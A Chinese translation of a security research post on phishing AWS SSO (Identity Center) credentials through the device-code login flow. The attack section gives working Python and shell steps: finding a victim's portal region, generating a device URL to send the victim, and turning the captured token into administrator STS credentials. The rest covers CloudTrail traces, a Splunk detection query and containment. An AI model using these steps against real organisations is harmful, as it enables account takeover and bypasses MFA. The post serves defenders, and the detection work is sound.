通过AWS SSO设备代码认证进行钓鱼攻击获取AWS凭证(2024年更新)
在企业环境中使用AWS时,最佳实践是使用单点登录服务进行身份和访问管理。AWS SSO(现称为"Identity Center")是一个流行的解决方案,可与Okta等第三方提供商集成,并允许集中管理多个AWS账户中的角色和权限。
在本文中,我们证明AWS SSO在设计上容易受到设备代码认证钓鱼攻击 - 就像任何实现OpenID Connect设备代码认证的身份提供商一样。该技术最初由Dr. Nestori Syynimaa为Azure AD演示。该功能为攻击者提供了强大的钓鱼向量,使得MFA(包括Yubikeys)或IP白名单等控制在IdP级别无效。
本文所做的更改:
- 2024年11月28日:确保附录中列出的CloudTrail事件仍然正确
- 更新术语,提及AWS SSO现在名为AWS Identity Center
- 添加说明,指出CloudTrail事件’sso:ListApplications’似乎不再记录受害者IP
- 添加对CloudTrail事件’sso:GetRoleCredentials’的缺失引用
背景
AWS SSO
AWS SSO是AWS提供的一项服务,用于管理多个AWS账户的角色和身份。引用文档:
“使用AWS SSO,您可以轻松集中管理对AWS Organizations中所有账户的访问和用户权限。AWS SSO自动配置和维护您账户的所有必要权限,无需在各个账户中进行任何额外设置。您可以根据常见工作职能分配用户权限,并自定义这些权限以满足特定的安全要求。”
AWS SSO中的身份来自AWS SSO身份存储本身。用户和组可以通过以下3种方式进入此身份存储:
- 手动添加到AWS SSO身份存储本身
- 从Active Directory自动同步到AWS SSO身份存储(单向同步)
- 从支持SAML的任何第三方身份提供商(如Okta)同步
从CLI使用AWS SSO
工程师遇到AWS时的第一个问题是:如何从CLI使用它?作为安全人员,我们的重点通常是避免使用IAM用户,因为其凭证是长期存在的,并且难以安全管理。
这就是为什么AWS SSO实现了部分OAuth 2.0规范 - 刚好足以从CLI使用它:
“AWS SSO OpenID Connect(OIDC)服务目前仅实现OAuth 2.0设备授权授予标准(https://tools.ietf.org/html/rfc8628)中启用AWS CLI的SSO认证所必需的部分。本地应用程序经常需要的其他OIDC流(如授权代码流+PKCE)的支持将在未来版本中解决。”
从命令行使用AWS SSO在AWS CLI或aws-vault等工具中本地支持:
1
2
3
4
5
6
7
8
9
|
$ aws configure sso
SSO start URL [None]: https://my-sso-portal.awsapps.com/start
SSO region [None]: us-east-1
Using a browser, open the following URL:
https://device.sso.eu-central-1.amazonaws.com/
and enter the following code:
QCFK-N451
|
在此初始认证流程之后,您将看到您可以访问的AWS账户列表以及可用的角色。
设备代码授权类型
底层发生的情况如下:
- 客户端应用程序(AWS CLI)通过调用sso-oidc:RegisterClient注册OIDC客户端。它不需要认证即可执行此操作。
- 客户端应用程序调用sso-oidc:StartDeviceAuthorization。这会生成一个看起来像https://device.sso.eu-central-1.amazonaws.com/?user_code=SPNB-NVKN的URL
- 最终用户打开链接并被重定向到其身份提供商进行认证
- 最终用户打开此URL并看到以下提示:
![AWS CLI登录提示]
一旦最终用户接受提示,客户端应用程序调用sso-oidc:CreateToken来检索AWS SSO访问令牌。
使用此访问令牌,客户端应用程序可以使用AWS SSO API,特别是:
- 列出最终用户有权访问的所有AWS账户(sso:ListAccounts)
- 列出最终用户在每个AWS账户中可用的所有角色(sso:ListAccountRoles)
- 承担任何这些角色以检索临时STS凭证(sso:GetRoleCredentials)
使用AWS SSO设备代码进行钓鱼攻击
您可能已经发现;这是一个很好的钓鱼向量。除了使用合法的AWS网站外,它还使得多因素认证、设备信任等企业级安全机制无效。
让我们展开这个场景。
步骤0:先决条件
攻击者需要提前知道受害者组织的AWS SSO URL,它看起来像.awsapps.com。这可以通过社会工程、猜测、子域名发现等找到。
这对攻击者来说并不难。许多组织只使用他们的名称。在awsapps.com上运行sublist3r已经产生数百个结果。
有了受害者特定的AWS SSO URL,攻击者可以轻松确定在哪个区域配置了AWS SSO(下一步需要):
1
2
|
$ curl https://victim.awsapps.com/start/ -s | grep 'meta name="region"'
<meta name="region" content="us-east-1"/>
|
步骤1:攻击者启动设备代码授权流程
以下是使用Python的样子:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
REGION = 'us-east-1'
AWS_SSO_START_URL = 'https://xxx.awsapps.com/start'
sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'my-attacker',
clientType = 'public'
)
client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)
url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)
|
步骤2:攻击者将设备授权URL发送给受害者
例如,通过钓鱼。受害者通过其通常的身份提供商(如Okta)进行认证。在通过所有身份提供商特定的检查(MFA、设备信任…)后,他们只需要接受以下提示:
![AWS CLI登录确认提示]
步骤3:攻击者检索SSO访问令牌
一旦受害者接受提示,攻击者使用sso-oidc:CreateToken检索SSO访问令牌:
1
2
3
4
5
6
7
|
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')
|
此处检索的SSO访问令牌有效期为8小时。有足够的时间根据需要执行和重复后续步骤。
步骤4:攻击者使用SSO访问令牌访问AWS账户
拥有受害者的SSO访问令牌后,攻击者枚举受害者有权访问的AWS账户以及可用的角色。
1
|
aws_accounts = sso.list_accounts(accessToken=sso_token)
|
1
2
3
4
5
6
7
8
9
10
11
12
|
[
{
"accountId": "11xxxxxxxx",
"accountName": "Dev account",
"emailAddress": "my-dev-account@example.com"
},
{
"accountId": "54xxxxxxx",
"accountName": "Prod account",
"emailAddress": "my-prod-account@example.com"
}
]
|
然后,列出特定账户中可用的AWS SSO角色(“权限集”):
1
2
3
4
|
roles_response = sso.list_account_roles(
accessToken=sso_token,
accountId="11xxxxxxxx"
)
|
1
2
3
4
5
6
7
8
9
10
|
[
{
"roleName": "AdministratorAccess",
"accountId": "11xxxxxxxxxx"
},
{
"roleName": "ViewOnlyAccess",
"accountId": "11xxxxxxxxxx"
}
]
|
最后,检索特定AWS账户中特定权限集的STS凭证:
1
2
3
4
5
|
sts_creds = sso.get_role_credentials(
accessToken=sso_token,
roleName='AdministratorAccess',
accountId='11...'
)
|
1
2
3
4
5
6
|
{
"accessKeyId": "ASIARW4JVWBODWMM5TMN",
"secretAccessKey": "Ocq..m1T",
"sessionToken": "IQoJb3..VTNA==",
"expiration": 1622567348000
}
|
1
2
3
4
5
6
7
8
9
10
|
$ export AWS_ACCESS_KEY_ID=ASIARW4JVWBODWMM5TMN
$ export AWS_SECRET_ACCESS_KEY=Ocq..m1T
$ export AWS_SESSION_TOKEN=IQoJb3..VTNA==
$ aws sts get-caller-identity
{
"UserId": "AROAR...:christophetd",
"Account": "11xxxxxxxxxx",
"Arn": "arn:aws:sts::11xxxxxxxxxx:assumed-role/AWSReservedSSO_AdministratorAccess_e3db84cb28e132d6/christophetd"
}
|
或者,对于喜欢使用GUI的懒惰攻击者,只需:
- 打开您自己的AWS SSO页面(例如attacker.awsapps.com/start)
- 在浏览器中,将cookie中的x-amz-sso_authn替换为受害者的SSO令牌
- 刷新页面
…最终您将获得受害者的AWS账户列表,可以从GUI很好地访问。
检测与预防
预防
这是一个功能,而不是错误。如果您使用AWS SSO,您无法防止此类钓鱼攻击。也不可能使用SCP将sso-oidc:CreateToken调用限制为某些条件,因为此API调用是针对组织主账户执行的(不受SCP约束)。
攻击每个步骤的CloudTrail事件
在检测方面,对sso-oidc:RegisterClient和sso-oidc:StartDeviceAuthorization的初始调用不会记录到CloudTrail,因为它们是在没有认证的情况下执行的,并且不是针对组织的特定AWS账户。但CloudTrail确实提供了一些信息。
首先,sso:ListApplications在受害者显示"Sign-in to AWS CLI"弹出窗口的确切时间记录。
注意:截至2024年11月28日,此事件似乎不一定总是记录。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
{
"eventVersion": "1.08",
"userIdentity": {
"type": "Unknown",
"principalId": "<internal victim user id>",
"accountId": "<organization master account ID>",
"userName": "<victim display name>"
},
"eventTime": "...",
"eventSource": "sso.amazonaws.com",
"eventName": "ListApplications",
"sourceIPAddress": "<Victim source IP>",
"userAgent": "<Victim browser user agent>"
}
|
然后,一旦受害者接受提示并且攻击者检索受害者的AWS SSO访问令牌,sso-oidc:CreateToken生成:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
{
"eventVersion": "1.08",
"userIdentity": {
"type": "Unknown",
"principalId": "<internal victim user id>",
"accountId": "<organization master account ID>",
"userName": "<victim display name>"
},
"eventSource": "sso.amazonaws.com",
"eventName": "CreateToken",
"sourceIPAddress": "<Attacker source IP>",
"userAgent": "<Attacker user agent (here: Boto3/1.17.80 Python/3.9.5 Darwin/20.3.0 Botocore/1.20.80)>",
"requestParameters": {
"clientId": "...",
"clientSecret": "HIDDEN_DUE_TO_SECURITY_REASONS",
"grantType": "urn:ietf:params:oauth:grant-type:device_code",
"deviceCode": "..."
},
"responseElements": {
"accessToken": "HIDDEN_DUE_TO_SECURITY_REASONS",
"tokenType": "Bearer",
"expiresIn": 28800,
"refreshToken": "HIDDEN_DUE_TO_SECURITY_REASONS",
"idToken": "HIDDEN_DUE_TO_SECURITY_REASONS"
},
"recipientAccountId": "<organization master account ID>"
}
|
最后,当攻击者通过AWS SSO枚举受害者有权访问的AWS账户时,sso:ListAccounts和sso:ListAccountRoles被记录:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
{
"eventVersion": "1.08",
"userIdentity": {
"type": "Unknown",
"principalId": "<internal victim user id>",
"accountId": "<organization master account ID>",
"userName": "<Victim e-mail>"
},
"eventSource": "sso.amazonaws.com",
"eventName": "ListAccountRoles",
"sourceIPAddress": "<Attacker source IP>",
"userAgent": "<Attacker user agent (here: Boto3/1.17.80 Python/3.9.5 Darwin/20.3.0 Botocore/1.20.80)>",
"recipientAccountId": "<organization master account ID>",
"serviceEventDetails": {
"account_id": "<enumerated child account ID>"
}
}
|
然后,当攻击者为特定AWS账户和SSO权限集生成AWS凭证时,sso:GetRoleCredentials被记录:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
{
"eventVersion": "1.10",
"userIdentity": {
"type": "Unknown",
"principalId": "<internal victim user id>",
"accountId": "<organization master account ID>",
"userName": "<Victim e-mail>"
},
"eventSource": "sso.amazonaws.com",
"eventName": "GetRoleCredentials",
"sourceIPAddress": "<Attacker source IP>",
"userAgent": "<Attacker user agent (here: Boto3/1.17.80 Python/3.9.5 Darwin/20.3.0 Botocore/1.20.80)>",
"recipientAccountId": "<organization master account ID>",
"serviceEventDetails": {
"account_id": "<child account ID>",
"role_name": "<SSO permission set name>"
}
}
|
总结:
| 攻击步骤 |
CloudTrail事件 |
源IP |
备注 |
| 攻击者生成设备代码URL |
无 |
N/A |
|
| 受害者显示"Sign-in with AWS CLI"提示 |
sso:ListApplications |
受害者IP |
截至2024年11月28日,此事件似乎不一定总是记录 |
| 受害者提交"Sign-in with AWS CLI"提示 |
无 |
N/A |
|
| 攻击者检索受害者的AWS SSO访问令牌 |
sso-oidc:CreateToken |
攻击者IP |
虽然’CreateToken’是SSO OIDC API的一部分,但它在CloudTrail中以sso.amazonaws.com的eventSource记录 |
| 攻击者枚举受害者的AWS账户和角色 |
sso:ListAccounts sso:ListAccountRoles |
攻击者IP |
|
| 攻击者检索特定账户和权限集的AWS凭证 |
sso:GetRoleCredentials |
攻击者IP |
|
检测策略
以下是检测/伪预防的一些线索。
在电子邮件网关上阻止并警报device.sso..amazonaws.com链接
设备认证链接预期在本地生成。电子邮件中指向domain device.sso..amazonaws.com的链接应被视为高度可疑并进行调查。
当不同的源IP在短时间内生成sso:ListApplications和sso-oidc:CreateToken事件时警报
同样,由于设备代码预期在本地使用,有两个不同的IP地址显示"Sign-in with AWS CLI prompt"(受害者)和生成AWS SSO访问令牌(攻击者)是可疑的,应该是一个可行的检测策略。使用Splunk和10分钟的时间间隔:
1
2
3
4
5
6
7
8
9
10
11
|
sourcetype=aws:cloudtrail eventSource=sso.amazonaws.com
| search eventName=ListApplications OR (eventName=CreateToken requestParameters.grantType="urn:ietf:params:oauth:grant-type:device_code")
| bucket _time span=10m
| stats
values(sourceIPAddress) as sourceIps,
values(userAgent) as userAgents,
first(userIdentity.userName) as userNames,
distinct_count(sourceIPAddress) as numIps
by userIdentity.principalId, _time
| where numIps >= 2
| table userNames, _time, sourceIps, userAgents
|
(注意我们按principalId而不是userName聚合,因为用户名在sso:ListApplications中是受害者的电子邮件,而在sso-oidc:CreateToken中是他们的显示名称)
为了额外调整,请查看:
- 从CreateToken事件搜索中排除受信任的IP地址
- 添加过滤以仅匹配具有2个不同用户代理的情况
当特定用户的sso:ListAccountRoles事件量异常高时警报
AWS SSO的正常使用(即通过UI或CLI)似乎生成非常少的sso:ListAccountRoles事件。这些事件数量的突然增加表明有人使用非标准方式枚举特定用户的所有AWS SSO权限,应被视为高度可疑。“正常"流(例如从AWS SSO门户Web应用程序)似乎使用内部端点(portal.sso..amazonaws.com/instance/appinstances)。
对sso-oidc:CreateToken事件的异常源IP警报
如果您的工程师仅从位于内部网络的公司笔记本电脑认证到AWS,您可以标记sso-oidc:CreateToken事件中使用的任何外部源IP。这可能是设备代码钓鱼攻击成功的指标,指示的IP将是攻击者使用的IP。
遏制 - 撤销AWS SSO访问令牌
我们确定了一名员工使用此技术被钓鱼 - 或任何其他技术。我们如何响应?遏制的第一步是使攻击者检索的AWS SSO访问令牌无效。
不幸的是,在不知道SSO访问令牌值的情况下,没有文档化的方法可以撤销它。在AWS SSO身份目录中手动禁用用户不会立即使其访问令牌无效。如果您使用第三方IdP(如Okta)也是如此;在Okta中禁用受感染用户无济于事,如果攻击者已经窃取其AWS SSO访问令牌。我向AWS安全团队报告了此问题,他们澄清了以下内容:
“AWS SSO在用户登录用户门户时缓存用户属性,并每小时刷新它们以授予/撤销额外访问。如果您想在任何1小时期限到期前撤销所有用户访问,可以通过删除用户有权访问的权限集和账户的所有分配来实现。
我们已经在为用户门户开发显式会话撤销功能。”
因此,虽然不理想,但有一种方法可以立即撤销AWS SSO用户的访问令牌:从任何权限集分配中删除它们,无论是直接的还是间接的(例如通过组)。
结论
有人可能认为设备代码认证是必要的,以为工程师提供良好的用户体验,以便他们可以使用SSO从CLI工作。这 - 可以说 - 仍然比拥有数十个未管理的IAM用户风险小得多。也就是说,这是一个重要的提醒,组织不应将MFA等技术控制视为灵丹妙药,并继续投入时间构建最终用户的安全意识,并基于CloudTrail日志(但不限于)制作高价值威胁检测用例。